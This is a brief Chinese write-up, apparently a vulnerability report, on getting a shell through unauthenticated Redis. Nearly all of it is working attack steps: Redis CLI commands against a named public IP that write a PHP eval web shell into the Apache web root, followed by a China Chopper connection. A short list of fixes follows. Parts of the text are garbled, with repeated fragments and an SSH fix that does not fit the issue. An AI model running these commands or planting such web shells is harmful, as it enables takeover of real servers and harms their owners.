redis未授权访问getshell

1、找到站点部署目录

/usr/local/apache/htdocs//3、/3、

2、登陆redis设置目录redis 61.191.56.216:6379> config set dir /usr/local/apache/htdocs/
OK
redis 61.191.56.216:6379> config set dbfilename ok.php
OK
redis 61.191.56.216:6379> set test "<?php @eval($_POST[123]);?>"
OK
redis 61.191.56.216:6379> save
OK

3、菜刀连接

修复方案：

1）禁止使用 root 权限启动 redis 服务；
2）对 redis 访问启用密码认证，并且添加 IP 访问限制；
3）尽可能不对公网直接开放 SSH 服务。

apt-get install redis-server